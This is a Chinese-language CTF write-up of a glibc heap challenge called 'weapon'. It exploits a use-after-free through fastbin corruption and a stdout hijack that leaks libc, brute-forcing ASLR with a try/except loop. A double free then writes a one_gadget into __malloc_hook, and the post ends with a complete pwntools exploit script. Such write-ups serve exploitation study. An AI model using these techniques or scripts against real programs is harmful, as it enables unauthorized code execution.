使用异常处理爆破stdout-(weapon)

2020-03-12  本文已影响0人  cnitlrt

python 中的try except语句:

try:
    正常的操作
   ......................
except:
    发生异常,执行这块代码
   ......................
else:
    如果没有异常执行这块代码

下面通过一个栗子来实践一下:weapon

ida分析:

main:

main.png

create:

1.png

限制size的大小不能超过0x60并且只能申请9个

edit没什么特别的,就是根据size向原来的空间进行写入

free:

free.png

很明显的UAF漏洞

idea:

因为main_arena-88的地址和stdout的地址差不多,只有后面两个字节不同,并且stdout的后面的一个半字节是固定的因此执行爆破倒数第四位就可,这里选择的就是异常爆破,还有一个注意点是不能直接申请到stdout上面需要申请到stdout附近的地址,附近有一个可利用的块,劫持到stdout时将flag的值改低,并将write_base的低字节也改低,便可以输出write_ptr和write_end之间的值,这里面可能就有我们的libc
难点在于如何劫持到stdout上面

method:

我们采用在堆块里面伪造块,具体操作是,构造一个0x40的链表,破坏链表将其指向我们伪造的堆块,并且修改size域使其落入unsortedbin中,这样就可以在fastbin上踩出main_arena的地址

operation:

first step:

new(0x10,0,p64(0)+p64(0x41)) #0
new(0x60,1,p64(0)*5+p64(0x41)) #1
new(0x30,2,"a") #2
new(0x30,3,'a') #3
new(0x30,4,"a") #4
free(1)
free(2)
free(3)

heap布局:

gdb-peda$ x/32gx 0x555555757000
0x555555757000: 0x0000000000000000  0x0000000000000021
0x555555757010: 0x0000000000000000  0x0000000000000041 <---fake chunk
0x555555757020: 0x0000000000000000  0x0000000000000071
0x555555757030: 0x0000000000000000  0x0000000000000000
0x555555757040: 0x0000000000000000  0x0000000000000000
0x555555757050: 0x0000000000000000  0x0000000000000041 <---bypass
0x555555757060: 0x0000000000000000  0x0000000000000000
0x555555757070: 0x0000000000000000  0x0000000000000000
0x555555757080: 0x0000000000000000  0x0000000000000000
0x555555757090: 0x0000000000000000  0x0000000000000041
0x5555557570a0: 0x0000000000000000  0x0000000000000000
0x5555557570b0: 0x0000000000000000  0x0000000000000000
0x5555557570c0: 0x0000000000000000  0x0000000000000000
0x5555557570d0: 0x0000000000000000  0x0000000000000041
0x5555557570e0: 0x0000555555757090  0x0000000000000000

此时的bin:

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x5555557570d0 —▸ 0x555555757090 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757020 ◂— 0x0
0x80: 0x0

然后破坏链表,使其指向我们的fake_chunk

edit(3,p8(0x10))

修改后的链表:

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x5555557570d0 —▸ 0x555555757010 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757020 ◂— 0x0
0x80: 0x0

successful,成功指向了第一个堆块

second step:

利用unsorted bin的特性在chunk上踩出main_arena的地址:

new(0x30,3,p8(0x10))
new(0x30,2,p64(0)+p64(0x70+0x41))
free(1)

heap 布局:

gdb-peda$ x/32gx 0x555555757000
0x555555757000: 0x0000000000000000  0x0000000000000021
0x555555757010: 0x0000000000000000  0x0000000000000041
0x555555757020: 0x0000000000000000  0x00000000000000b1
0x555555757030: 0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x555555757040: 0x0000000000000000  0x0000000000000000
0x555555757050: 0x0000000000000000  0x0000000000000041
0x555555757060: 0x0000000000000000  0x0000000000000000
0x555555757070: 0x0000000000000000  0x0000000000000000
0x555555757080: 0x0000000000000000  0x0000000000000000
0x555555757090: 0x0000000000000000  0x0000000000000041
0x5555557570a0: 0x0000000000000000  0x0000000000000000
0x5555557570b0: 0x0000000000000000  0x0000000000000000
0x5555557570c0: 0x0000000000000000  0x0000000000000000
0x5555557570d0: 0x00000000000000b0  0x0000000000000040
0x5555557570e0: 0x0000555555757010  0x0000000000000000

bin:

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
0x80: 0x0
unsortedbin
all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */

成功!

third step:

劫持__IO_2_1_stdout:

edit(2,p64(0)+p64(0x71))
edit(1,p16(0x2620-0x43))
new(0x60,1,p16(0x2620-0x43))
new(0x60,6,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))

这里我们选择是劫持到stdout的0x43处的位置,因为此处有可以利用的堆块
注意:因为我本地关闭了asrl保护因此可以很容易的知道stdout的地址也就是会100%成功劫持,但是远程不行,会有1/16的可能行因此需要爆破
可以看到已经成功的输出了一大段地址:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x87\x18�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa4&��\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�����\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x00\x00

随便选一个就行,然后计算出偏移,偏移计算的话需要知道libc的基质然后两者进行相减便是offset具体的数值会不一样,这里就不再过多的描述了
到了这一步基本上已经结束了,接下来就是用fastbin attrack 来进行getshell,将malloc_hook写入one_gadget就ok了
完整exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level= 'debug'
binary = 'weapwn'
elf = ELF('weapwn')
libc = elf.libc

DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = "node3.buuoj.cn"
  port =  29626
def new(size,idx,name):
    p.sendlineafter(">> \n","1")
    p.sendlineafter(": ",str(size))
    p.sendlineafter(": ",str(idx))
    p.sendafter(":\n",name)
def free(idx):
    p.sendlineafter(">> \n","2")
    p.sendlineafter("input idx :",str(idx))
def edit(idx,payload):
    p.sendlineafter(">> \n","3")
    p.sendlineafter(": ",str(idx))
    p.sendafter(":\n",payload)
def pwn():
    new(0x10,0,p64(0)+p64(0x41))
    new(0x60,1,p64(0)*5+p64(0x41))
    new(0x30,2,"a")
    new(0x30,3,'a')
    new(0x30,4,"a")
    free(1)
    free(2)
    free(3)
    edit(3,p8(0x10))
    new(0x30,3,p8(0x10))
    new(0x30,2,p64(0)+p64(0x70+0x41))
    free(1)
    edit(2,p64(0)+p64(0x71))
    edit(1,p16(0x2620-0x43))
    new(0x60,1,p16(0x2620-0x43))
    new(0x60,5,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))
    libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c5600
    malloc_hook = libc_base+0x3c4b10
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    one = o_g[3]+libc_base
    print "libc_base:"+hex(libc_base)
    print "malloc_hook:"+hex(malloc_hook)
    new(0x60,6,"a")
    new(0x60,1,"a")
    free(1)
    free(6)
    free(1)
    new(0x60,1,p64(malloc_hook-0x23))
    new(0x60,1,p64(malloc_hook-0x23))
    new(0x60,6,p64(malloc_hook-0x23))
    new(0x60,7,0x13*'a'+p64(one))
    p.sendlineafter(">> \n","1")
    p.sendlineafter(": ",str(0x20))
    p.sendlineafter(": ",str(8))
    p.interactive()
while True:
    p = process(binary)
    try:
        pwn()
    except:
        p.close()
上一篇下一篇

猜你喜欢

热点阅读